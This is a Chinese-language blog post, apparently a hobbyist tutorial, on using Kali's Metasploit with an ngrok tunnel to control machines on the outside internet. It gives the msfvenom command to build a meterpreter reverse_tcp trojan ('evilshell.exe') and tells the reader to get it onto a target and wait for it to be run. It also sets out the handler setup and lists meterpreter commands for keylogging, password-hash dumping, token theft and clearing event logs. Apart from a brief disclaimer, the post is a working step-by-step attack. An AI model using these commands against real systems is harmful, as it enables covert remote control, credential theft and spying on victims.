387 字
1 分钟
Kali_Metasploit渗透实验
前言
最近想玩玩渗透所以学了kial系统里面的Metasploit做个木马并且支持任何外网主机远控，本文只做技术交流之用，技术无罪，希望大家知法懂法，更要守法。
准备事项
kali Metasploit Ngrok客户端 攻击机 靶机
参考
https://blog.csdn.net/m0_58489132/article/details/121816285 https://www.pianshen.com/article/47171021599/ https://www.ngui.cc/el/1741271.html?action=onClick
内网穿透
为了能远控外网的主机，所以必须要攻击机和外网的主机能互相通信，这里用最简单的方法，如果你有公网也可以直接用公网ip也行，https://www.ngrok.cc，注册账号，根据提示，进行相关操作，选择免费隧道，
配置端口隧道等
远程端口不用本机用的端口即可，避免发生冲突
本地端口，如果是kali我们需要输入ifconfig看一下自己的ip填进去。
然后找到自己刚刚开通的隧道，看一下自己的配置信息，这里的隧道id和隧道端口，服务器地址接下来要用的：
Ngrok客户端
https://www.ngrok.cc/download.html，下载自己对应的版本,并且解压
wget https://www.ngrok.cc/sunny/linux_amd64.zip?v=2.1unzip linux_amd64.zipcd linux_amd64./sunny clientid 隧道ID出现下面的转发成功界面就可以了
创建木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=刚才创建的隧道服务器地址 lport=隧道端口 -f 后门文件类型 >/后门文件存放路径/evilshell.exe并且想方法发送到目前机器上，等对方运行
开启postgresql服务
/etc/init.d/postgresql start查看postgresql服务
/etc/init.d/postgresql status查看端口
netstat -ntulp开启msfconsole
msfconsole设置攻击模块并运行
use exploit/multi/handler //选择exploits
set payload windows/meterpreter/reverse_tcp //设置payload
set LHOST 攻击者IP //修改LHOST参数
set LPORT 监听端口 //修改LPORT参数
show options //查看需要设置的参数
run 或 exploit //运行攻击模块获取目标主机shell
shell若出现乱码输入下面命令
chcp 437其他的命令
? – 帮助菜单background – 将当前会话移动到背景bgkill – 杀死一个背景 meterpreter 脚本bglist – 提供所有正在运行的后台脚本的列表bgrun – 作为一个后台线程运行脚本channel – 显示活动频道close – 关闭通道exit – 终止 meterpreter 会话help – 帮助菜单interact – 与通道进行交互irb – 进入 Ruby 脚本模式migrate – 移动到一个指定的 PID 的活动进程quit – 终止 meterpreter 会话read – 从通道读取数据run – 执行以后它选定的 meterpreter 脚本use – 加载 meterpreter 的扩展write – 将数据写入到一个通道cat -读取并输出到标准输出文件的内容cd -更改目录对受害人del -删除文件对受害人download-从受害者系统文件下载edit-用 vim编辑文件getlwd -打印本地目录getwd -打印工作目录lcd -更改本地目录lpwd -打印本地目录ls -列出在当前目录中的文件列表mkdir -在受害者系统上的创建目录pwd -输出工作目录rm -删除文件rmdir -受害者系统上删除目录upload-从攻击者的系统往受害者系统上传文件ipconfig -显示网络接口的关键信息，包括 IP 地址、 等。portfwd -端口转发route -查看或修改受害者路由表clearav -清除了受害者的计算机上的事件日志drop_token -被盗的令牌execute-执行命令getpid -获取当前进程 ID (PID)getprivs -尽可能获取尽可能多的特权getuid -获取作为运行服务器的用户kill -终止指定 PID 的进程ps -列出正在运行的进程reboot-重新启动受害人的计算机reg -与受害人的注册表进行交互rev2self -在受害者机器上调用 RevertToSelf()shell -在受害者计算机上打开一个shellshutdown-关闭了受害者的计算机steal_token -试图窃取指定的 (PID) 进程的令牌sysinfo -获取有关受害者计算机操作系统和名称等的详细信息enumdesktops -列出所有可访问台式机getdesktop -获取当前的 meterpreter 桌面idletime -检查长时间以来，受害者系统空闲进程keyscan_dump -键盘记录软件的内容转储keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件keyscan_stop -停止键盘记录软件screenshot-抓去 meterpreter 桌面的屏幕截图set_desktop -更改 meterpreter 桌面uictl -启用用户界面组件的一些控件getsystem -获得系统管理员权限hashdump -抓去哈希密码 (SAM) 文件中的值timestomp -操作修改，访问，并创建一个文件的属性 分享
如果这篇文章对你有帮助，欢迎分享给更多人！
Kali_Metasploit渗透实验
https://vtdd.vip/posts/metasploit实验制作免杀payload对任意外网主机的远控/ 部分信息可能已经过时
相关文章 智能推荐